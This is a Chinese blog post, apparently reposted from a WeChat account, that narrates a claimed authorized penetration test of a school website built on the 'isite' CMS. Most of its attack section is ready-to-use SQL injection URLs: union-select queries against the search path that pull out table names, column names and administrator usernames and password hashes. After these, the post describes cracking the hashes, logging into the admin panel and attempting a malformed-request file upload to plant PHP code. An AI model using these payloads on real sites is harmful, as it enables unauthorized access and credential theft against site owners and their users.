登陆 注册

意外发现一套cms的注入漏洞

老书生 2019-06-09 CMS注入漏洞渗透测试

说明:此次检测为官方授权检测!!!表情包与文章无关

正文如下:

事情是这样的某一天在一个安全交流群里聊天,一个朋友说他们老师叫他去检测下他们学校官网,后来朋友他找到了我让我帮助他进行安全检测。

我这么菜,但是还是去看看吧。

首先我们打开主站

访问robots.txt文件,是存在的,可以看出是isite的 cms(在此之前听都没听过….)。

去百度了下看下有啥公开的漏洞吧

不得不说用的人真的少,这些漏洞都试了下都没用。

还是看看后台吧,后面加个 艾德密,得到后台通过各种弱口令,都没结果。

竟然这样,从旁站下手好了,查了下,有这么多。

我一个个找过去,结果全是这套程序,很无奈啊。

没办法我硬着头皮看了看主站,随便点了个连接,貌似伪静态啊。试了半天还是放弃了。

继续翻其他站,在一个站的首页发现这个。

尝试下 post 注入,加个单引号。

刚准备放弃….过了几秒钟 自动跳转到到了另一个页面。

继续在搜索框那输入了些查询内容点击检索

Search 后面多了个 24,于是我加一个单引号………居然报错了(头一次人品爆发)。

检测语句:and 1=1 和 and 1=2

返回结果

确定已经存在注入,这次就用手工注入吧。

先 order by 猜下字段长度

http://www.xxx.com/index.php/iss/search/search/24%20order%20by%2010

返回正常 


http://www.xxx.com/index.php/iss/search/search/24%20order%20by%2011

返回错误 


http://www.xxx.com/index.php/iss/search/search/24%20union%20select%201,2,3,4,5,6,7,8,9,10

结果如下

没有显错位,加个 and 1=2 试试

显错位替换成 database()和 version(),版本是 5.0 以上,有个默认数据库 information

User(),不是 root 权限

接下来查表名

http://www.xxx.com/index.php/iss/search/search/24%20and%201=2%20union%20select%201,group_concat(table_name),3,4,5,6,7,8,9,10%20from%20information_schema.tables%20where%2 0table_schema=0x6462xxxxxxxxxxx70696E6B5F636F6D

(这是数据库的 hex 码,xxx 代表马赛克……)

出来很多啊,用审查元素全部复制下来

flexi_announcement,flexi_bbcode,flexi_channel,flexi_channel_config,flexi_config,flexi_content,flexi_content_subject,flexi_feedback,flexi_file,flexi_file_watermark,flei_inquiry,flexi_link,flexi_link_category,flexi_log,flexi_message,flexi_page,flexi_ search_cache,flexi_tag,flexi_tag_related,flexi_tpl_block,flexi_user,flexi_user_admi n,flexi_u 

起初以为是flexi_user_admin这个表,后来发现帐号密码存在flexi_user这个表中


接下来查他字段http://www.xxx.com/index.php/iss/search/search/24%20and%201=2%20union%20select%201,group_concat(column_name),3,4,5,6,7,8,9,10%20from%20information_schema.columns%20where%20table_name=0x666C6578695F75736572

id,name,password,hit_question,hit_answer,email,real_name,gender,birthday,province,address,post_code,phone_code,mphone_code,group_id,reg_time,last_login_time,last_login_ip,login_count,post_count,manager,locked,new_msg_count,memo 

经验判断存放帐号密码的字段是 name和password

http://www.xxx.com/index.php/iss/search/search/24%20and%201=2%20union%20select%201,name,3,4,5,6,7,password,9,10%20from%20flexi_user

就这样,帐号密码已经出来了 利用构造出来的 exp: 


index.php/iss/search/search/24%20and%201=2%20union%20select%201,name,3,4,5,6,7,password,9,10%20from%20flexi_user

去主站访问下

哈哈!!帐号PASS到手,但是我数了一下是40位…….

然后去百度看了看

说是 md5的然后我仔细看了看文章…..

好像并没有用,然后我去官网下载了套源码 查看代码发现是 sha1 加密。

拿起密码就去某MD5解密,悲剧来了………

试了试另外一个,也是一样的结果…..

然后看了看其他网站(SOMD5),可能真的人品爆发,有个站解密成功了然后登录之。

大概看了看网站后台,在这添加上 php

找到个上传文件的地方,感觉 鞋奥就在眼前

击上传发现…………我真是个命苦的人啊

只能拿出我苦练多年的打狗头方法…….拿起 burp 抓包

在这里构造畸形的 http,然后放包,成功上传。(自带滑稽表情)

点击放大镜

源码暴露了,而且路径也不对劲…….

看来这并不是他真实路径,我们又翻了翻,发现了这个,点击检索

看到刚才上传的文件,点击源文件路径变成了,多了个下划线…….http://www.xxx.com/data/upload/2017-04/08215611_edit._php

这个问题卡了我两天,各种姿势都试了,还是没办法绕过,所以放弃了。

Ps:这个提供这套 cms 的站点也存在该漏漏


原文由微信公众号IT同路人

请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By HeiBaiTeam.